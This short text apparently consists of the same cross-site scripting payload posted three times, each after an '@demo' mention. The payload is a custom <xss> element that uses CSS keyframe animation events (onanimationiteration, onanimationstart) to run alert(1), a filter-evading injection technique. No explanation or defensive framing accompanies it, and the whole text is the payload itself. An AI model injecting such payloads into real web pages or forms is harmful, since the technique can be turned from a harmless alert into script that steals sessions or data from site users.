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@demo 

<style>@keyframes slidein {}</style><xss style="animation-

duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>

@demo 

<style>@keyframes slidein {}</style><xss style="animation-

duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>

@demo "<style>@keyframes slidein {}</style><xss style=\"animation-\n\nduration:1s;animation-name:slidein;animation-iteration-count:2\" onanimationstart=\"alert(1)\"></xss>"